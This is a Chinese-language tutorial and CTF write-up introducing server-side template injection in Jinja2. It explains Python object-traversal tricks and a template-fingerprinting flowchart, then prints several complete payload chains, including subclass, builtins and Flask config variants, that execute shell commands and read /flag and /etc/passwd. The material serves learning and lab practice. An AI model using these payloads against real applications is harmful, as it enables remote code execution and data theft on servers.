前言这个模块网上的wp其实对第一次接触模板注入的人来说其实不是那么友好如果直接找wp来看的话大概率就是两眼黑容易被劝退我自己也是这样的更多的是需要我们自己去找别的资料先了解模板注入这一块内容有一定基础后才能去做相关题目。我想的是能不能将其整合起来通过一道具体的题目从0入门SSTI因此便有了这篇文章。【同样的魔术方法也是要多打才能熟悉因此这里不提供可以复制的payload】一模板注入相关1.什么是模板注入SSTI服务器端模板注入Server-Side Template Injection是一种高危的Web安全漏洞。简单来说攻击者可以通过向模板中注入恶意代码让服务器端的模板引擎执行它从而实现对服务器的控制。更直观的话可以打个比方正常情况你给了一个“填空”的卡片比如你好{{name}}服务器把你的名字比如“张三”填进去然后生成一句完整的话“你好张三”还给你。SSTI情况攻击者不填名字而是在这个空里填了一段“魔法指令”比如{{7*7}}。如果服务器没检查就直接执行它会把{{7*8}}当成指令来计算结果返回给你“你好56”。如果攻击者能执行更复杂的指令如读取密码文件、执行系统命令服务器就会被攻陷。2.常见模板语言常见模板引擎核心SSTI风险点PythonJinja2, Mako, Tornado通过对象继承链寻找os.systemPHPTwig, Smarty, Blade调用内置函数或利用$this上下文JavaFreemarker, Velocity, Thymeleaf利用new()构造执行器或SpEL注入JavaScriptPug, Nunjucks, EJS获取process对象执行系统命令RubyERB, Slim直接执行原生Ruby代码Gohtml/template敏感信息泄露 RCE更加具体的内容请自行查阅相关资料3.常用魔术方法1获取信息阶段这些魔术方法用于从当前对象向上或横向探索获取更多的类、模块信息。__class__作用返回当前实例所属的类。利用场景一切的起点。示例你有一个字符串hello调用hello.__class__就会得到class str。Payload片段{{ .__class__ }}__bases__/__base__作用访问当前类的父类基类。__bases__返回一个包含所有父类的元组__base__通常返回直接父类。利用场景从子类向上走到父类因为父类通常包含更多通用的东西。Payload片段{{ .__class__.__bases__ }}__mro__(Method Resolution Order)作用显示类的方法解析顺序。它会以一个元组的形式列出当前类继承链上的所有类包括自己、父类、祖先类一直到object。利用场景这是最重要的跳板之一。通过__mro__可以拿到最终的基类——object。因为Python中所有的类都继承自object控制了object就意味着理论上可以访问所有类。Payload片段{{ .__class__.__mro__ }}期望结果(class str, class object)。这样我们就拿到了object。__subclasses__()作用这是SSTI漏洞利用中最关键的一步。它属于类方法用于返回该类的所有直接或间接子类。利用场景当我们通过__mro__拿到object后调用object.__subclasses__()就能得到当前Python解释器加载的所有类的列表。为什么重要在这个庞大的列表中包含了我们需要的一切文件读写类、进程调用类、系统命令执行类等等。Payload片段{{ .__class__.__mro__[1].__subclasses__() }}解读.__class__是str.__mro__[1]是object然后获取object的所有子类。2寻找危险功能得到所有子类的列表后我们需要在这个列表里搜索可以执行系统命令或读写文件的方法。__import__作用这是Python的内建函数用于动态导入模块。利用场景如果我们能在某个类或对象上找到__import__就可以导入os模块进而调用os.system()执行命令。注意__import__通常作为内建函数存在于__builtins__模块中或者在warnings.catch_warnings等类的__init__方法中被引用。__globals__作用这是SSTI利用中另一个至关重要的属性。它返回当前函数所在全局作用域下的一个字典包含了该函数可以访问的所有全局变量、函数和模块。利用场景当我们从__subclasses__()列表中找到某个特定的类如classwarnings.catch_warnings后我们通常先访问它的__init__方法然后通过__globals__获取其全局命名空间。在这个命名空间里往往能找到已经被导入的os模块或者__builtins__内置函数集合。典型利用链object.__subclasses__()[索引].__init__.__globals__[__builtins__]3执行攻击通过上述方法拿到__builtins__或os模块后就可以调用真正的危险函数。__builtins__作用这不是一个方法而是一个字典或模块包含了Python的所有内建函数例如eval、exec、open、__import__等。利用场景一旦拿到__builtins__攻击者可以直接调用eval(__import__(os).system(whoami))open(/etc/passwd).read()__import__(os).popen(whoami).read()eval/exec作用将字符串作为Python代码执行。利用场景终极武器。当攻击者无法直接找到os模块时如果能找到eval就可以通过它动态导入任何模块。那么综合起来我们来看一个具体的payload# 原始Payload (需要根据实际索引调整) {{ .__class__.__mro__[1].__subclasses__()[177].__init__.__globals__[__builtins__].eval(__import__(os).popen(whoami).read()) }} 逐步拆解 1. .__class__ - 获取字符串的类 (class str) 2. .__mro__[1] - 获取其MRO中的第二个类即 object 3. .__subclasses__() - 获取object的所有子类 (得到一个包含成千上百个类的列表) 4. [177] - 选取第177号子类 (通常为 class warnings.catch_warnings) 5. .__init__ - 访问该类的初始化方法 6. .__globals__ - 获取该初始化方法的全局作用域字典 7. [__builtins__] - 从全局字典中取出内置函数模块 8. .eval(...) - 调用内置的eval函数执行命令 9. __import__(os).popen(whoami).read() - 实际执行的Python代码4.判断模板这里就要提到一个非常经典的图了绿色箭头是执行成功红色箭头是执行失败。首先是注入${7*7}没有回显出49的情况这种时候就是执行失败走红线再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入如果注入{{77}}回显了49代表执行成功继续往下走注入{{7*7}}如果执行成功回显7777777说明是jinja2模板如果回显是49就说明是Twig模板。成功回显出的情况这种时候是执行成功走绿线再次注入如果执行成功回显就说明是模板如果没有回显出就是执行失败走红线注入{z.join(ab)}如果执行成功回显出zab就说明是Mako模板。二具体题目提示说名字就是考点可以尝试get传参name先按照上面图片给的方法进行一次判断得到如下结果可以确定为jinja2模板那么接下来就按照我们前面的方法依次尝试首先是返回类然后就是要返回基类这里直接base一下就可以了获得obj所有的子类然后就是选择我们可以利用的类一般选取的是os._wrap_close【因为os._wrap_close存在于object.__subclasses__()列表中并且它的__init__.__globals__中直接包含了整个os模块而os模块是Python标准库中的一个核心模块全称是Operating System interface操作系统接口。它提供了与操作系统交互的函数让我们可以用Python代码执行各种系统级操作】但是我们要找这个类的位置看起来好像很麻烦这么多一个个看过去怎么行因此这里可以采用python脚本或者我们手工查找这里还是介绍手工查找的方法我们先将这里所有的类都复制下来到notepad中然后将替换为\n【换行符】这样就看起来清晰了后面我们再查找一下然后验证一下是不是我们要选择的不知道为啥我notepad显示是133访问该类的初始化方法以及获得该方法的全局作用域字典这里可以直接popen来read一下最后得到我们的flag三其他方法当然这里还有很多方法来做这里是一种通用性较强的这里我们利用的builtin的内置函数来当作跳板在我们无法直接拿到os模块时起到了一个非常好的承接作用builtins里面的这些函数可以帮我们执行命令__builtins__ { eval: eval函数, # 执行Python代码 exec: exec函数, # 执行Python代码 open: open函数, # 打开文件 __import__: import函数, # 导入模块 print: print函数, len: len函数, ... # 还有几十个内置函数 }利用链图解如下# 你的payload {{.__class__.__base__.__subclasses__()[132].__init__.__globals__[__builtins__][eval](__import__(os).popen(tac /flag).read())}} # 逐步拆解 1. # ① 随便一个字符串对象 2. .__class__ # ② 拿到str类 3. .__base__ # ③ 拿到object基类 4. .__subclasses__()[132] # ④ 找到第132个子类比如warnings.catch_warnings 5. .__init__ # ⑤ 访问该类的初始化方法 6. .__globals__ # ⑥ 获取全局变量字典 7. [__builtins__] # ⑦ 取出内置函数模块 8. [eval] # ⑧ 取出eval函数 9. (__import__(os).popen(tac /flag).read()) # ⑨ 要执行的代码字符串当然还有相应的变种?name{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[__builtins__].__import__(os).popen(tac /flag).read()}} ?name{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[__builtins__].open(/flag).read()}}然后这里需要注意的点是只要一个类满足以下条件就能通过__builtins__执行命令它有__init__方法__init__方法有__globals__属性__globals__中包含__builtins__常见的有以下几种1.warnings.catch_warnings最经典# 索引通常在 130-140 左右 {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls).read())}}2.warnings.WarningMessage# warnings模块的另一个类 {{[].__class__.__base__.__subclasses__()[184].__init__.__globals__[__builtins__].open(/flag).read()}}3.codecs.IncrementalEncoder{{[].__class__.__base__.__subclasses__()[107].__init__.__globals__[__builtins__].eval(__import__(os).popen(ls /).read())}}当然了还可以从config对象【Flask框架中的全局配置对象用来存储应用程序的所有配置信息。可以把它想象成应用程序的控制面板或设置中心】出发具体就不多赘述了# 1. 查看config对象如果返回配置信息说明config对象可用 ?name{{ config }} # 2. 查看config的类应该返回 class flask.config.Config ?name{{ config.__class__ }} # 3. 查看__init__的__globals__所有键如果看到 os恭喜可以直接用 ?name{{ config.__class__.__init__.__globals__.keys() }} # 4. 如果有os直接执行 ?name{{ config.__class__.__init__.__globals__[os].popen(ls /).read() }} # 5. 读取flag ?name{{ config.__class__.__init__.__globals__[os].popen(cat /flag).read() }} # 6. 如果没看到 os但有 __builtins__可通过 __builtins__ 导入os ?name{{ config.__class__.__init__.__globals__[__builtins__].__import__(os).popen(cat /flag).read() }}总之方法很多选取最合适的自己最好理解的即可。四参考SSTI漏洞浅析常见模板注入、waf绕过超详细SSTI模板注入漏洞原理讲解Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全SSTI模板注入【宝藏up入门强推】